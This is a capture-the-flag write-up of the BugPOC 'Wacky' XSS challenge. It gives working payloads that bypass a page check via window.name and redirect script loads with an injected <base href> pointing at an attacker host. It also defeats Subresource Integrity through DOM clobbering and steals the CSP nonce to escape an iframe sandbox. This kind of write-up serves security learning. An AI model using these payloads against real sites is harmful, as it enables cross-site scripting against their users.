BugPOC Wacky XSS Challenge Solution

Gowtham
9 min readNov 10, 2020

Objective

Summary of the steps involved

  • Application Introduction
  • Client side validation bypass
  • CSP bypass
  • About Subresource Integrity
  • SRI bypass using DOM Clobbering
  • Escaping Iframe sandbox

Introduction to the application:

The application transforms input characters into fancy colors as seen below

Checking the homepage source code reveals 2 important files

  • frame.html
  • script.js

Client side validation bypass

Let us check the source code in script.js

var isChrome = /Chrome/.test(navigator.userAgent) && /Google Inc/.test(navigator.vendor);
if (!isChrome) {
document.body.innerHTML = `<h1>Website Only Available in Chrome</h1>
<p style="text-align:center"> Please visit <a href="https://www.google.com/chrome/">https://www.google.com/chrome/</a> to download Google Chrome if you would like to visit this website</p>.`;
}
document.getElementById("txt").onkeyup = function() {
this.value = this.value.replace(/[&*<>%]/g, '');
};
document.getElementById('btn').onclick = function() {
val = document.getElementById('txt').value;
document.getElementById('theIframe').src = '/frame.html?param=' + val;
};

It reveals that

  • The app works only with chrome.
  • Every character we input to the application will be filtered for special characters &*<>%
  • The input will be the value for iframe src attribute once we click the ‘Make Wacky!’ button.

Anyways, We can directly access frame.html. So lets ignore the homepage.

Let us visit frame.html

OK!. There is some check being done to make sure this page is loaded only inside an iframe

Let us check the source code of frame.html

Ok, The check was to compare window.name property value is set to iframe or not!. Window is an object that represents an open window in browser. It has name property that sets/gets the name of the window’s browsing context.

This is easy to bypass. We need to create a simple page. Open dev-console and set window.name property to iframe and then set window.location to frame.html’s url as seen below.

Thus, ‘hello’ will be printed on page without iframe as seen below.

Now let us identify the input reflection points and JavaScript functionality.

So there are 2 reflection points

  • within <title>
  • within <body>

Below is the script that performs the transformation

// array of colors 
var colors = [
“#006633”,
“#00AB8E”,
“#009933”,
“#00CC33”,
“#339966”,
];
// array of fonts
var fonts = [
“baloo-bhaina”,
“josefin-slab”,
“arvo”,
“lato”,
“volkhov”,
“abril-fatface”,
“ubuntu”,
“roboto”,
“droid-sans-mono”,
“anton”,
];
function randomInteger(max) {
return Math.floor(Math.random() * Math.floor(max));
}
function makeRandom(element) {
for (var i = 0; i < element.length; i++) {
var createNewText = ‘’;
var htmlColorTag = ‘color:’;
for (var j = 0; j < element[i].textContent.length; j++) {
var riFonts = randomInteger(fonts.length);
var riColors = randomInteger(colors.length);
createNewText = createNewText + “<span class=’” + fonts[riFonts] + “‘ style=’” + htmlColorTag + colors[riColors] + “‘>” + element[i].textContent[j] + “</span>”;
}
element[i].innerHTML = createNewText;
}
}
var text = document.getElementsByClassName(‘text’);
makeRandom(text);

The makeRandom() function processes the user input text which inturn choses a random integer which maps to font and color arrays. Thus, the input is trasnformed into a set of <span> tags.

CSP bypass

To reduce my interaction with dev console. I have created a simple page to accept payload and do the things as seen below.

<html>
<head> <script type=”text/javascript”>
 function attack(){
var payload = document.getElementById(‘payload’).value;
console.log(“Payload is : “ + payload);
window.name=”iframe”;
window.location=’https://wacky.buggywebsite.com/frame.html?param='+payload;
}
</script>
</head>
<body>
<h1>BugPOC XSS Challenge — Wacky</h1>
<h2>Enter Payload</h1>
<textarea id=”payload” name=”payload” rows=”4" cols=”50"></textarea>
<input type=”button” name=”submit” value=”Submit” onclick=”attack()”/>
</body>
</html>

Now Let us try a simple payload like </title><script>alert(1)</script>. Im closing the title tag because we are focusing on that reflection point.

There is a CSP error message. So lets examine the CSP headers.

The content-security-policy is set to the value script-src ‘nonce-siajotuwsypg’ ‘strict-dynamic’; frame-src ‘self’; object-src ‘none’;

Now let us see what each of the directive means:

  • script-src: specifies valid sources for javascript. It has values nonce and strict-dynamic as discussed below
  • nonce-<base64value>: An allow-list for specific inline scripts using a cryptographic nonce. The server must generate a unique nonce value each time it transmits a policy. That means, whenever you request a page, all the inline scripts should have a nonce attribute with value matching the one in csp header’s nonce value. In the above image the nonce value is siajotuwsypg that must be present in all inline scripts. The nonce is considered valid when it matches the one in CSP header and it will be parsed or else it wont!
  • strict-dynamic: propagates trust to non-parser-inserted JS. Example as seen below
  • object-src: specifies legit sources for <object> element. which is set to none.
  • frame-src: specifies valid sources for nested browsing contexts(iframes). It has a value self which refers to the origin from which the protected document is being served

Let us quickly validate this csp using google’s csp-evaluator

As you can see base-uri is missing. What is base-uri?

  • base-uri: restricts the URLs which can be used in a document’s <base> element. If this value is absent, then any URI is allowed and the user agent will use the value in the <base> element. In simple terms, if we can inject <base href=’http://evil.com’> then any relative path resources(css,js, etc..) will be loaded from http://evil.com/

So let us inject the payload </title><base href=’http://localhost/>

Good, Now that we are able to manipulate from where resources will be fetched. Notice that application accesses files/analytics/js/frame-analytics.js. We shall proceed with creating this file

$ cat > files/analytics/js/frame-analytics.js
console.log(“frame analytics loaded”);

As well as make sure the Access-Control-Allow-Origin is set to * in your server configuration and retry the same payload

Now that we are able to serve the frame-analytics.js but, it is failing the initigrity check.

Subresource Integrity

Subresource Integrity(SRI) is a security feature that enables browsers to verify that resources they fetch are delivered without unexpected manipulation(preventing MITM). It works by allowing you to provide a cryptographic hash that a fetched resource must match.

SRI can be calculated as below

$ openssl dgst -sha256 -binary ./jquery.js | openssl base64 -A
Mw4G1iz5x683sEe3vEP2UpWLoHx15Pbp5yaWMZ0MTms=

So, Developers hard code this hash in client-side and every resource fetched from CDN etc.. are checked for their integrity accordingly.

Let us revisit the frame.html source code to check how the SRI validation is being done

3 things to be noted:

  • Signature value is assigned to window.fileIntegrity.value property
  • dynamic sandboxed iframe creation
  • sha256 integrity value assigned to that iframe

The below is how the iframe is renderred.

Things to note:

  • sandbox : specifies restrictions to the content in the frame. There can be multiple values and explained in detail here. The allow-scripts value lets the resource run scripts. That means we can execute javascript in this iframe context.
  • src: The frame-analytics.js which is already in our control will be fetched and executed. Unfortunately, it wont execute. All due to the integrity attribute
  • integrity: It has a value beginning with at least one string, with each string including a prefix indicating a particular hash algorithm followed by a dash, and ending with the actual base64-encoded hash. Example: (sha256-unzMI6SuiNZmTzoOnV4Y9yqAjtSOgiIgyrKvumYRI6E=)

So this hash must match the calculated hash of frame-analytics.js. How can we do it?

SRI Bypass using DOM Cloberring

DOM Cloberring is a technique in which you inject HTML into a page to manipulate the DOM and ultimately change the behavior of JavaScript on the page. You can change a global variable or property of an object and overwriting it with a DOM node or HTML collection instead. For more info check portswiggerlabs

Since we can inject HTML content already. We can clobber the reference to fileIntegrity.value attribute. I choose a HTML tag that has value attribute in it. Guess which?.. Yeah! <input> tag

so the following payload would clobber the reference to fileIntegrity object

<input id=fileIntegrity/><input id=fileIntegrity name=value value=”<hashalg-value>”/>

So lets get the hash value.

$ cat frame-analytics.js 
console.log(“frame analytics js test file”);
$ openssl dgst -sha256 -binary ./frame-analytics.js | openssl base64 -A
BwOog9WdXT4OC8VpThtQ3FObfdM1FC7I9CLQ2xhRCRg=

The updated payload

</title><base href=’http://localhost'><input id=fileIntegrity/><input id=fileIntegrity name=value value=”BwOog9WdXT4OC8VpThtQ3FObfdM1FC7I9CLQ2xhRCRg=”/>

Submit and verifying whether the object cloberring is success using debugger

Perfect. We overwritten the reference to the objectfileIntegrity and the frame-analytics.js code got executed as seen below.

That’s it?. Just update the file with alert(document.domain) and solve the challenge? No.. Because the iframe is sandboxed and there is no allow-modals value set which allows opening of modal windows. That means alert,prompt,confirm wont be executed. Failure…!

Escaping Iframe sandbox

Since we can execute javascript. My approach is as follows

  • The frame-analytics.js script that we imported should write another <script> tag dynamically.
  • The created <script> tag should be in parent document(Not within the iframe)
  • The created <script> tag should have valid nonce value. Because of CSP :-/ we need to dynamically fetch and reuse it while creating this tag.
  • The <script> tag should include src attribute to another external script. Why? because unsafe-inline is not set and strict-dynamic would prevent us writing inside a tag using innerHTML.

Here is how the frame-analytics.js looks

//get all <script> tags from parent document 
var tags = parent.document.getElementsByTagName(“script”);
var currentNonce;
//iterate the tags and get the nounce.
for(i=0;i< tags.length ;i++){
if(tags[i].nonce.length>3){
currentNonce=tags[i].nonce;
console.log(“Nonce “+ currentNonce);
}
}
//create script tag with nounce we got above 
//and include another js file to pop alert
var s = parent.document.createElement(‘script’);
s.setAttribute(‘nonce’,currentNonce);
s.src = “files/analytics/js/alert.js”;
parent.document.body.appendChild(s);

Here is how the alert.js looks

alert(document.domain);

Calculate the hash and update the payload as below

</title><base href=’http://localhost'><input id=fileIntegrity/><input id=fileIntegrity name=value value=”eyP6Vot1k3ef7/HfX2UlrND38sPbFcvgsOufjdVBKmo=”/>

and…

This is what the HTML source looks

Also I think there are other solutions which im looking forward.

References:

--

--